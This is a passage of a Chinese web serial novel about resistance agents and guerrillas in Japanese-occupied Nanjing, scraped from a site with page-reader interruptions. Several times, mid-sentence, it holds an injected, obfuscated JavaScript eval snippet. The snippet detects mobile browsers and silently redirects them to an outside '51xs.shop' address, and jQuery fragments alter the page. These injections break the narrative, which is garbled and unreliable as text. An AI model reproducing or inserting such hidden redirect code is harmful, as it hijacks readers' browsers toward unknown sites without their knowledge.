第二人说:“在我眼里,福特车长得就一模一样!” 第三人说:“我向来孤陋寡闻,根本分不出它们的细微差异,如果因为我的孤陋寡闻,弄巧成拙,误把某一个长官的车当成了嫌疑车辆,那是要掉脑袋的吧!” 渡边不再回答,继续道:“还有,不知你们有没有记住我刚才所说的,由于该车型的功率大,对冷却系统要求很高,所以它的第二特征就是车头很高!” 有人还喜欢刨根究底,一个身材魁梧的男子问道:“车头很高?到底多高?” “你问这个有什么用?难不成每辆车你都要丈量一下它的车头?再来决定它是不是嫌疑车?”一个小个子男子马上讥讽道。 魁梧男子用嘲弄的眼神瞟了小个子男子一眼,冷冷地说道:“这怎么能说没有用?难道非要丈量?我们肉眼也是可以判断出高度的呀,比如,我只要远远地看你一眼,就知道你的身高不会超过一米六五!我想我的判断误差不会太大吧!” 众人齐声哄笑。小个子男子羞愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259590|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得涨红着脸。 渡边赶紧解答道:“大约六七十公分吧!”说完,渡边拍了拍会议桌,站了起来,“我现在布置任务,行动处两人一组,自由搭配,分别扼守在南京城各条交通要道,一旦发现嫌疑车辆,可施行检查,对方不听劝告,可对天鸣枪,如果鸣枪无效,对方有逃窜之嫌,可开枪还击,一切后果,由我来承担!” 一旁的李泉问道:“开枪万一伤了山口太君怎么办?” 渡边不屑看了他一眼:“对方如果逃窜,那肯定不是山口秋山!” 李泉面露钦佩之色:“渡边少佐分析得太对了!” 渡边:“接下来由李桑具体进行人员安排,像中山路、汉中路、虎踞路等主要干道一定要重点布防!” 命令一下,会议室一片沸腾,关系相处好的马上主动相邀进行搭档,这样的景况立即检验出行动处的人与人之间的亲密度,更是称量出了友情的分量,比如张三觉得待李四最厚,张三只要矜持地坐在原地,假如李四果然欢喜前来相邀,那说明此人重情重义,如果眼睛的余光发现李四找的是其他人,则说明人心不古,虽然心寒,但及时调转船头弃之若履还为时未晚! 渡边在一片喧嚣声中出了会议室,站在憩庐的门前大吸了一口新鲜的空气,这口新鲜的空气还没有在呼吸系统循环一圈,身后就响起一串脚步声,稻田勇的声音出现在身后:“渡边小姐……” 渡边回头,看到了稻田勇暧昧的眼神,她马上想起了稻田昨晚赤裸裸的表白,心情一下子复杂起来。“稻田君找我?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第81章 匕首 日本治下的南京,在经历了十余天疯狂的烧杀抢掠后,城市已千疮百孔,看不出一丝生机。 大部分的私营经济为了躲避战乱,早已迁移到了西南的内地。 时至晌午,阳光苍白无力,风扬起了一阵阵的尘土,不时迷茫了眼睛。 在大华电影院盘踞的这条中山中路的街上,人流凋零,往常熙攘的嘈杂声已经远遁,凄凉与颓废像是一对孪生兄弟,如影随形。在大华电影院的广告栏中,依旧张贴着一张数月前红极一时的《马路天使》影讯海报,黏贴海报的浆糊已然失效,只剩下中间一处还恋恋不舍,拼命地做着最后的挽留,海报的纸张残破不堪,在萧瑟的寒风中一翕一合,似乎随时都可能绝然而去。而马路对面的商业一条街,昔日的繁华不再,除了破败已了无生气,唯有一家刚刚挂牌开张的诊所,与周遭的景象显得如此格格不入。 这家诊所的名字叫做利民诊所。 名字朴素,却诉求准确。 紧靠利民诊所的南侧第二间店铺,门前停有一辆轿车。一个男子正爬上了一架木梯,悬挂店铺的招牌。 招牌被铁钉固定在了墙上,上面赫然漆着几个大字。 悦颜照相馆。 林赤此时正站在二楼的窗前,从这个角度可以清晰地看到大街上发生的一切。 那位挂招牌的男子也上了二楼,在林赤的身后站定,是赵楷。赵楷不久前才从火车站拉来了此次上海购进的照相设备。 “我准备把它作为冲洗照片的暗房。”林赤指着在二楼的里侧的一间小屋说道。 自锤子把他送回到这里后,林赤一直忙碌到现在,联系人手打扫房间,清除杂物,安排人让陶天阙书写店招,安顿设备……这个时候,总算可以歇一歇了。 赵楷给林赤递了一根烟,两人背对着窗户边抽烟边闲聊。 一根烟才抽到一半,忽然从远处传来几声枪响。 林赤和赵楷立即警惕地转过身,把目光投向了对面的街上。 枪声,在时下的南京已司空见惯,在南京的街头开枪杀人每天没有十起也有八起。 赵楷摇了摇头叹道:“日本人又开枪杀人了!” 林赤没有回答。 街上看不到人影,也没有什么动静。林赤推开窗子,把头伸出窗外,发现从北面方向疾驶而来一辆黑色轿车,轿车像是喝醉了酒一样在街上有如蛇行,渐行渐近…… “有情况!”林赤低喝一声,把烟头重重地摔在地上,拉着赵楷飞快地下了楼。 他看到了一辆熟悉的福特轿车,而这辆汽车的车头要明显高于一般的福特车。 这辆福特轿车,不但林赤熟悉,赵楷也很眼熟。它曾经驶过接近三百公里的宁沪公路,载着他们回到了南京。 正是林赤早晨刚刚开过的那辆水星款福特轿车,林赤把它送给了锤子。 难道车上是锤子? 林赤和赵楷双双跑到街上,发现在前方五十米左右的地方,那辆车已经一头栽在马路路牙上的梧桐树间,不再动弹。 林赤不假思索,飞奔而去。赵楷紧随其后。 依稀看到远方的街上有几条人影向着自己的方向跑来。 “好像有人追上来了!”赵楷提醒。 轿车前方残缺的挡风玻璃还没来得及安装,看不清驾驶者的面孔,他趴在方向盘上,一动不动!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259591|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林赤跑到车前,立即用手托起了那人的头,他看到了一张熟悉的脸,不是锤子,而是钉子。钉子双目紧锁,脸色铁青,他的胸口上已被鲜血浸透。林赤马上把手指搭在他的脉搏上,脉搏已经很微弱。 “他还活着!”林赤话一说完,就操起了钉子的身体,双肩一用力,将钉子架在身上,快速隐身到马路里侧。 “这人你认识?”赵楷好奇问道。 林赤来不及回答他的话,只是说道:“你立即把车开走,把敌人引开,越远越好!” 赵楷也没有回答林赤的话,矮身钻进驾驶室,很快发动了汽车。 “保持原来的车形,不要太快,不要急于脱离他们的视线。”林赤吃力地抬起头,叮嘱赵楷。 福特轿车歪歪扭扭回到了街的中央,接着又蛇行一般向南驶去。 林赤背着钉子,沿着路牙一阵小跑。 利民诊所前,曲思秋和陶楚歌已经听到了异常,正站在诊所门前张望,她们看到了林赤,正要上前帮忙,林赤低声道:“先开门!” 林赤背着钉子,进了一楼最里面的房间,把他放在了一张简易的手术台上。 “还活着,你们快想法救他!”林赤一边吩咐曲思秋她们一边关上大门,拔出手枪,身子贴在窗后的墙边,手挑起窗帘一角,悄悄观察着外面。 几分钟后,街上出现两名男子,沿着街道向南追去! 稍等了片刻,林赤打开大门,发现人已远去。 再次关上门,林赤进了里屋。钉子躺在手术台上奄奄一息。曲思秋和陶楚歌剪开了钉子的上衣,鲜血浸湿了衣裳。 这章没有结束,请点击下一页继续阅读! 第82章 十万火急 时至中午,正午的太阳稍稍有了一丝暖意。 林赤应道:“我找董德奎。” 门“嘎吱”一声打开了。一个中年男人警惕地守在门口,并未立即让林赤进来。 林赤于是进一步解释道:“是钉子让我来的。” 中年男人犹犹豫豫地闪到一旁,林赤跨步进内。 中年男人带林赤穿过院子,在正屋门口站定。 “说吧,找我什么事?” “你就是董德奎?” 中年男人沉吟道:“是的,我是董德奎。” “钉子命令,启动大华百货店。”林赤道。 “你的话我怎么听不懂?”董德奎斩钉截铁道。 这样的回答与林赤估计的没什么分别。看年纪,董德奎有四十五六岁,如此年龄,作为情报战线的一员,应该具备了丰富的阅历和作战经验,马上一口应诺才怪。 “钉子受伤了,伤得很重,现在大华电影院对面的一家诊所里,实在没有办法亲自前来,情况又紧急,这才托的我。”林赤淡淡说道。 “我根本不认识什么钉子。”董德奎干脆耍赖起来。 林赤知道这样的说服一定大费周折,索性耐心起来,平静地说道:“我与你一样,也是一名战士,我刚刚被招募进来,现正在执行一项重大任务,钉子虽然是个老同志,其实我的职位要高于他,锤子是我的直接领导,而且我的任命是重庆直接下达的,不管你信还是不信!另外,钉子在晌午时分,在中山中路驾车遭到了袭击,生命垂危,这番话是他尽了最大的努力才说出的,之后他又昏睡过去,我没有你们之间联络的信物,我也知道你不会轻易相信我……” 屋内这时传出一个尖细的声音:“老董,是谁呀?” 一个年轻人走了出来。满目狐疑地看着林赤。 董德奎依旧保持警惕,但语气略有缓和,“直说了吧,我是叫董德奎,我也认识钉子,而且还听说过锤子,并且我也听说过我们有一位年轻的领导,但是这些并不是我信任你的理由。” 林赤略有欣慰,正待进一步说服,忽然又响起敲门声,曲思秋的声音在院外急切道:“快开门,附近有日本人。” 林赤跑过去打开门。 曲思秋掩身进来。 林赤带她走向正屋。曲思秋的目光与董德奎相遇,两人同时轻轻咦了一声。 曲思秋:“这不是大华百货店的董老板吗?” “你是……”董德奎觉得眼前的这位女孩很眼熟,但一时怎么也想不起来,一手捂着头,在努力地思索着。 “我妈妈叫柳兰,是你们店的售货员,今年年初我还来看过我妈,当时您还送我一盒点心!” “哦……你叫曲……”董德奎有点想起来了。 “我叫曲思秋。” “对对,你还是应天教会医院的一名医生。”董德奎恍然大悟。 董德奎连忙把林赤和曲思秋让进屋里。 屋里静静坐着四五人,全是青年男子,神色有如惊弓之鸟。 董德奎似乎已经完全信任了林赤,对身旁的的那位跟着进来的年轻人吩咐道:“曹响亮,给客人倒两杯茶。” 董德奎话一道出,围坐在桌旁的所有人的面色立即缓和下来。 “还有房间吗?”林赤问。 董德奎于是带着林赤打开了一侧的房门。曲思秋正欲跟着进来,林赤说道:“思秋,你在外面等我。” 董德奎让林赤先进了房间,回头对曲思秋问道:“曲小姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259592|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你妈还好吗?” “她很好,和我父亲都躲在我伯父那里。” “你父亲好像是一名国文老师,他是哪所学校来着?” “育群中学。” 董德奎话锋一转,忽然问:“钉子的伤重吗?” 曲思秋一愣,旋即道:“你是说我们诊所受伤的那位?他伤得蛮重的,子弹击中的胸口,但还好,离心脏还有好几公分,我们已给他输了血。” 董德奎如释重负,再次进屋,把房门轻轻掩上,笑着对林赤说道:“同志您好!” 两人这才首次握手。 “我代号新年,现被任命为南京情报站的副站长。”林赤道。 “您就是新年同志?我们到处张贴的寻人启事找的就是你?”董德奎惊诧地问。 “嗯……”林赤掏出钉子交给他的信封,递给董德奎。“钉子要求马上启动大华百货店,激活‘匕首’!” “这是……”董德奎接过信封,边说边拆开。 “是激活‘匕首’的方式。” 董德奎认真地看了一遍,将信纸重新塞进信封,折叠起来放到怀里。 这时曹响亮端着一杯茶敲门进来,董德奎待他放下茶杯交待道:“响亮,你带一名兄弟去咱们店,立即开门营业,另外,马上从我们店里取出红色的油漆,把大华百货店的‘大’字,添上一横,改成‘天’字,要快!” 曹响亮风风火火出去了。董德奎掏出一包烟,递给林赤一根,并帮他点上,自己也点了一根。 “听说新年同志还是行动处处长?钉子受伤了,是不是今后我们听您指挥?”董德奎询问林赤。 小 主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第83章 报信 董德奎把林赤和曲思秋送到院子里。 “一定多加小心!”董德奎握住林赤的手,林赤感到对方的手孔武有力。 “有重火力的家伙吗?”林赤忽然问道。 “你是指?” “比如冲锋枪什么的……” “我们几乎都是清一色的手枪……步枪你肯定看不上!” “那手雷?”林赤又问。 “有的有的。”董德奎忙不迭声道。 “给我两颗。” 林赤带着曲思秋上了汽车。 曲思秋看林赤表情严肃,小心询问道:“怎么啦?你要手雷干什么?是不是有什么情况?” “鬼子今天要对紫金山一带进行扫荡……” “啊,那我哥怎么办?还有我爸妈他们?”曲思秋弹坐起来。 “我也着急啊!”林赤眼睛注视着前方路面,一边驾车一边与曲思秋对话。 “你有办法吗?”曲思秋一脸焦虑。 “要赶紧设法和他们取得联系!赶在鬼子的前面,让思冬带队尽快转移!” “可是你怎样才能通知到他们?现在大白天的,鬼子的巡逻密集,出城更别提有多困难了!” “总要一试!” “那你打算怎么出城?” 林赤迟疑道:“还是从太平门附近翻越城墙。” “那太危险了,鬼子白天城墙上一定有巡逻队……”曲思秋焦灼地说,眉宇间充满了无限的牵挂。 林赤只顾开车,并未看到,继续说道:“我们的同志之所以传递出这份情报,说明鬼子的调兵动静大,如果数量只是几十名鬼子我想也不至于惊动他……依曲思冬那区区三十多号人,武器装备差,人员杂,那还不等于束手待毙?……是啊,鬼子是需要对紫金山一带扫荡扫荡了,前不久他们吃了那么大的亏!” 曲思秋心不在焉,似乎在想着什么。 林赤又说:“我这就把你送回诊所!” “送我回去?”曲思秋选择性耳聋,转头看林赤,“我不回去,我不放心你!” 这句话说得真切,林赤内心立即涌上了无尽的柔情,放在档位上的右手立即去寻她的手。 曲思秋主动地把手放在他的手心。 “我倒是有一个办法!”曲思秋毅然说道,好像已经深思熟虑。“我们去找一个人,他那里应该有进出城的汽车通行证。” 林赤马上想到第一次曲思秋来陶府找他,身后跟着的一辆黑色轿车。 “这会不会违反你们的组织纪律?”林赤扭头看了一眼曲思秋。 “管不了那么多了,再说现在是国共合作,任何一支抗日力量都是珍贵的火种,我相信组织上不会责怪我的!还有,你不是前不久也帮我们带回一部电台,你们组织不也默许了嘛!” “那不一样,那是我自愿的,我也没有汇报,完全在我个人能力范围之内!” “我也是自愿的……况且,那里有我哥,我的所有亲人都在那里!于公于私我都问心无愧!” 林赤还想说话,曲思秋不耐烦说道:“别废话了,去火瓦巷!” 汽车来到火瓦巷,在巷口停下,曲思秋率先下车。 “你等我一下!”曲思秋说完开始向巷子里跑去。 在一栋气派的二层楼前,曲思秋看到门口停着一辆轿车,心中一阵欣喜。 池碧疆在家,看来是吃午饭时间,他回了家。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259593|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 池碧疆一家四口确实正在午餐。曲思秋的出现让池碧疆吃了一惊。却听女儿池橙兴奋地喊道:“思秋姐,你怎么有空来啦?” 池碧疆差点忘记曲思秋和女儿原来是熟络的,心中松了口气,但时间紧急,曲思秋却无法绕圈,径自对池碧疆道:“池老师,找你有急事!” 池橙惊愕得张大嘴巴,半天才缓过来:“怎么,思秋姐,你认识我爸?” 曲思秋不知如何回答好,池碧疆却哈哈道:“我怎么会不认识应天教会医院的曲思秋医生呢,她现在和人合伙开了一家诊所,就在我们鼓楼区,归我管呢!” 曲思秋讪讪说道:“是啊,为这事我还特地找过你爸呢!” 池橙表情轻松下来,好奇地问:“你开了一家诊所?你怎么不告诉我?我好去给你帮帮忙啊!” 曲思秋刚想解释,池碧疆离席走到曲思秋面前,说道:“是不是又是为了你们诊所的事?” “嗯。”曲思秋接着向池橙的母亲和奶奶问了好。 “来,小曲,咱们书房谈。”说着领曲思秋进了书房。 池橙连忙跟着进来,池碧疆责怪地说道:“橙儿,你的好朋友来了,也不去给她倒杯茶,楼上我的卧室有一盒好茶。” 池橙欢快地走出。池碧疆低声责问道:“你怎么冒冒失失找到这里来了!” 曲思秋用最简短的话把想法说了,池碧疆不说话,低头思考着。 曲思秋又想起了那部电台,又道:“有件事还没来得及汇报,我们上海的同志给我们准备了一部电台,这一次托他们一并带回了。” “电台?”池碧疆面露喜色,“在哪里?” 这章没有结束,请点击下一页继续阅读! 第84章 武装干扰 “轰!” 手雷在鬼子的队伍尾部发出欢快地爆炸声。 这一掷,林赤极尽所能,冲刺带来的惯性太大,他几乎打了个趔趄,手由于很长时间没有如此剧烈投掷过,又用力过猛,韧带似乎有些拉伤。 好在这颗手雷没有浪费,掀起的气浪和四下飞溅的弹片还是伤了不少鬼子。 林赤心满意足快速登车,车子并未熄火,他驱车毫不迟疑地向东方驶去。 这突如其来的爆炸声一下子撕破了午后慵懒的沉闷,惊得远处山林间的鸟禽扑腾而起,明澈的蓝天下飞鸟哀鸣、四处逃散。 前队的日军士兵不知后面发生了什么,马上停下了前进的脚步,几乎同时转身,神色如惊弓之鸟,纷纷拉着枪栓进入战斗状态。 此时,队伍中间的黑木将军正与中队长吉田少佐并肩前行,他的身后跟着渡边雪奈。爆炸响后,士兵们立即骚动起来。黑木回头探看情况,除了远处一辆黑色轿车疾驰而去,看不到任何身影。 “继续前进!”黑木命令道。 吉田跟着高声大喊:“按原计划快速前进!” 日军士兵们开始向着山脚小跑。 这片区域的地形,黑木和吉田在出发前已做了充分的研究,他们调动的兵力,从数量上肯定要优于敌方,问题是,紫金山并非弹丸之地,虽算不上山高林密,但占地足有数十平方公里,在如此广阔的空间进行拉网式清剿,他们这么一点兵力远远不够,甚至于捉襟见肘!可即使调集更多的人马将紫金山围成一圈,百密尚有一疏,万一中间出现了空隙,敌人快速穿插逃窜并非没有可能。 既然大规模围剿得不偿失,那就以奇制胜。 黑木经过慎重思虑,将此次清剿取名为磁铁计划。 具体计划实施如下,将整个中队的战力均分为五份,三个小队长加上自己和吉田各带一队,每队50人上下,一小队从紫金山西侧沿太平门方向快速迂回到紫金山北侧。二三小队沿紫金山山脚向东穿插,抵达东麓后二小队继续北进。三小队则继续向东,扼守在敌人最可能东逃的隘口。第四小队即刻从前方的一条山路攀援而上,在山上弄出动静,起到敲山震虎的作用,第五小队原地据守,阻止敌人从此方向逃逸,并作为预备队,可向多个方向驰援。 该计划的核心要领就是,这五股力量在偌大的区域内广为辐射,只要探寻到敌人的武装,立即像磁铁一样吸住它,紧咬不放,一旦战斗打响,其它的四支小队立即聚合包围,争取做到全歼。 至于战力对比,黑木也有过考虑,50人规模的帝国军队,别说是遭遇数量在100名左右的中国军队,就是再多上一倍,那也足以相抗衡,更别说只是咬住不放了!而一旦枪响,任何一处最近的驰援都不会超过半小时。 这支长长的队伍很快抵达山脚,聚集在一起等待黑木下达命令。黑木手一挥,他们立即按原计划分兵。 黑木和渡边带着第三小队向紫金山东麓开拔。他负责截断敌人的逃串之路。 本来黑木也想亲临一线参与围剿。从军二十多年来,他一直浸淫在情报战线,从未有过带队实战的经历,这样难得的机会是他梦寐以求的,否则,这样的人生是残缺而不完美的。可是吉田死活不同意,他不愿让堂堂一位将军介入到这样的一次小小的清剿,况且,万一出了事情,他吉田的军人生涯也必定划上句号,黑木虽然心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259594|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有不甘,并未一再坚持,他知道吉田的难处。 那声手雷巨大的爆炸早已传到曲思冬他们的耳里。斯时,正是午饭时间,曲思冬和他的队员就在紫金山东麓的山坳那间低矮的石头房子里吃饭。柳兰和丈夫及大哥曲怀远给大家做了满满一大锅咸野鸡肉菜饭。部队要转移的消息,曲思冬第一时间告诉了父母,并要求他们做好准备与自己一起行动。前些日子从尧化门鬼子驻地打劫的粮食剩余尚多,根本无法悉数带走,因此柳兰决定把它们中的一部分装进士兵们的肚子……华帮抗战大队的队员们好久没吃到这么丰盛的午餐了,居然有米有肉还有油,最让他们高兴地的是还管够!因而,他们一个个狼吞虎咽,大快朵颐。这时秦素芬也在人群中,和柳兰一道坐在桌旁,柳兰看得心疼,一个劲地叫他们慢慢吃。而秦素芬甚至开玩笑说:“看你们一个个饿死鬼一样,这又不是你们的最后一顿午餐!” 没想到一语成谶! 爆炸声起,最近的哨兵飞步来报,说出现敌情! 曲思冬立即来到门外。 士兵们恋恋不舍放下碗筷,提着自己的枪支跟着一涌而出。 半山腰的了望哨这时已下到屋顶处,远远喊道:“有鬼子!差不多两百多名!” “按原计划撤离!”曲思冬大吼一声。 钉子不在,曲思冬扛起了这支三十多人的队伍的指挥权。早晨起床后,曲思冬安排队员在北山坡上葬了凌鼎天和其他几名队员,然后带着众人前来吃早饭,饭后曲思冬与父母闲聊,他们又谈起了凌鼎天,谈起了昨晚遇害的几名年轻人,说着说着柳兰的眼睛就红了起来…… 这章没有结束,请点击下一页继续阅读! 第85章 惊魂一刻 这两次不同时间、不同地点的手雷袭击,黑木和吉田产生了不同的理解。 吉田认为,对方只有一人,却一而再再而三的偷袭,分明是一种赤裸裸的示威、血淋淋的挑衅,一味的忍让只能滋长对方的狂妄,是到了必须用真实而有效地反击教训对方的时候了! 黑木的理解恰恰相反,对方只有一人,却一而再再而三的偷袭,明知寡不敌众却屡屡侵犯,分明是吸引他们的兵力,有围魏救赵之意,其目的不言而喻,那就是干扰并迟缓他们的围剿,这才是对方真正的意图! 吉田根本没有与其商议,立即调转枪口,这完全是按对方的套路出牌,进入了敌人的圈套,是敌人所企盼的方式,正中下怀! 好在黑木的少将军衔摆在那儿,毕竟要高于吉田好几个级别,黑木甚至不用声色俱厉,便喝止了吉田愚蠢的行为。 黑木更加坚定了信心,敌人就在不远处!他声嘶力竭地高喊着命令队伍快速挺进,尽量将浪费的时间弥补上。 本来两支队伍处于同一个水平线上,然而正是这次短时间的武装干扰,给曲思冬他们的突围争取了宝贵的时间。 第二声爆炸响起后,曲思冬立即判断出了它的位置。希望不再缥缈,突围已成为可能,尽管自己一方有不利的因素,那就是他们中有好几名非战斗成员,撤离的速度差强人意,更要命的是秦素芬,竟然穿的是高跟棉靴……但无论如何值得一试! 魏瑞带着他的小队已经越过古银杏树,钱瑾余紧随其后,而陈大军和自己带领的一众人也在无限接近中……曲思冬的心几乎提到嗓子眼。 逼近、再逼近…… 此时的古银杏树已成了生与死的象征!曲思冬曾多次带领队员与它擦肩而过,但从未有一次像今天这样对它充满着敬畏。 银杏树近在眼前……曲思冬拉着母亲柳兰的手一路快跑,终于通过并将它抛在了身后!接着父亲和伯父也顺利通过!曲思冬稍松了口气,他转头寻找秦素芬,却忽然发现通向西南方向的那条林间小路上,挤满了奔跑的鬼子士兵。 眼光刚刚触及到鬼子,枪声就咻咻地呼啸而至。曲思冬心猛地一沉,因为此时此刻他的余光忽然发现秦素芬被障碍物给绊倒了……秦素芬身后的陈大军,连忙弯腰去拽她。 立即有几位士兵中枪。 “不要停下!继续跑!”曲思冬不假思索高声呼喊。 一名战士很快接过曲思冬的手,继续拉着柳兰往前跑。 曲思冬举枪开始还击! 一小队队长钱瑾余听闻枪声后,在前方不远处果断组织队员参与阻击。 枪声开始密集,鬼子立即分流至小径两侧,一边还击一边向前移动。 在队伍后面的黑木知道已经和敌人相遭遇,心中一阵亢奋,不断地喝令士兵进击! 一时间枪声大作。 枪响后,秦素芬显得慌乱无比,腿脚也变得不利索了,才刚刚爬起,旋即再次摔倒在地。 曲思冬心急如焚! 陈大军焦急万分,恨不得扛起秦素芬! 陈大军身旁的队员也焦急万分,纷纷伸手去架秦素芬。 此情此景,曲思冬心里非常清楚,形势已经恶化到不可收拾的地步。 转眼间,秦素芬已被架到了银杏树旁,要命的是,面对如银蛇乱舞的子弹,她再也不愿意挪动脚步。她一把推开陈大军他们,决然说道:“你们快走,不要再管我了,鬼子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259595|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会伤害我的!” 陈大军死活不愿放手,秦素芬索性甩开他的手,近乎哀求地说道:“大兄弟,你们快走吧,不要因为我再死人了,我已经害死了凌队长他们了!” 陈大军无奈地看着曲思冬,曲思冬坚定地摇头,他知道林赤既然将这位旅长夫人托付于他,他曲思冬就必须担当起来! 陈大军实在无计可施,就对曲思冬大声说道:“曲大哥,你赶紧先撤,我来掩护,我就是拼了命也把她带走!”说着,他掏出两颗手雷,对着曲思冬扬手示意。 曲思冬立即明白了他的用意。陈大军以前称他为曲营长,自从成立了抗战大队后,他又改称他为曲队长,而现在,他又一次改了称呼,破天荒叫他大哥,完全没有了军阶间的尊卑之分,再见他亮出了手雷,分明是已抱定必死的决心!刹那间曲思冬心如刀绞……自南京保卫战失利后,他带着数百名弟兄奉命撤退,由于他逞一时之气,组织了一百多名南京籍士兵自发参与玄武湖的阻击战,结果只存活下了九名,他带着众人在南京城里东奔西突,打了几天游击,最后只剩下了陈大军、许云涛和徐志海三名,可松井石根入城当天,曲思冬亲眼所见一度失踪了的许云涛和徐志海对松井石根实施了刺杀,虽然由于钉子的介入,他们的死活不得而知,但在那样的局面下,活下来的希望是多么渺茫!然眼下,唯一的一位兄弟又毅然决定赴死,这让他的内心是何其煎熬! 曲思冬对眼前的这位女人忽然产生了一种强烈的厌恶感,正是因为她的矫情,凌鼎天不得已才弃山林而改走山路,因而才成为鬼子狙击手枪下的孤魂野鬼,还搭上了其他两名年轻的生命…… 本小章还未完,请点击下一页继续阅读后 面精彩内容! 第86章 得而复失 曲思秋接着又哭喊一声:“爸爸!” 柳兰听到了她久违而熟悉的声音,这声音不止一次在她最近的梦里反复出现,又有多少个寂寂长夜,她夜半醒来,因为思念着女儿而泪流满面! 曲怀齐这一通漫长的奔跑,已达到体能的极限,这一声叫喊,正是他魂牵梦绕的女儿曲思秋的声音,他仿佛忽然间又增添了无穷的力量!女儿所站的位置正是此次长跑比赛的终点线,他开始发起了冲刺,把很多人一下子抛在了身后……他的手先于身子抵达终点线,步履踉跄地一把搂住女儿,久久不愿放手。 由此可见,生命、亲情与爱情才是这个世界创造奇迹的源动力! 柳兰紧随而至,也一把抱住了女儿,并用身子隔开了曲怀齐。 这个时候,爱显得如此自私!曲怀齐夫妇在对女儿爱的表露上,都不甘示弱,唯恐落后。 曲思冬在妹妹最初发声时,就已看到了林赤,先是父亲趋步跑去,接着母亲也挣脱了他的手……如果亲情可以排序,他也只能位列第三,他不用急于去凑那份热闹。 曲思冬的内心,此时正经历着另一种真切的煎熬! 曲思冬索性慢步下来,他的目光紧盯着林赤,亲切中隐含一丝愧疚,微笑中夹杂着怯懦,他最不愿在这个时候,来面对林赤。 林赤托人交办的事,他未能履行。 他亲眼见到秦素芬落入虎口。 林赤费尽千辛万苦,在上海的真如镇成功解救出的秦素芬,竟在他的手里得而复失,这让曲思冬情何以堪!他又如何给林赤一个交待?那样的情形,决定或许没有对错,然而,当林赤出现在他面前时,现在的曲思冬怎么都觉得,那个一时兴起的决定是如此草率和不负责任! 曲思冬走近,林赤捶了他一拳,笑着说道:“怎么样,队伍不好带吧!” 曲思冬努力地笑了起来:“你怎么来啦?你怎么知道我们会出现在这里?” 林赤夸张地重新打量着他,“难道你连声‘谢谢’都这么吝啬?” 曲思冬恍然大悟:“原来是你啊,是你袭击了鬼子?” “如果没有人袭击他们,你们能这么顺利突围?” 曲思冬心中更愧疚了,在这两件事的处理方式上,林赤的所为顿时夸大了他心中的感受,他竟开始厌恶起自己,自卑的情绪笼罩着他。 林赤全然不知曲思冬此时的感受。 曲思秋和父母略叙了思念之情后,耳朵一直在接受着林赤和曲思冬的对话,便制止了父母喋喋不休的嘘寒问暖,她本能地把林赤拉到面前,对父母介绍道:“这位是林赤……” 曲怀齐夫妇立即白了曲思秋一眼,柳兰几乎是抢白着说道:“小林我们还用你介绍?!” 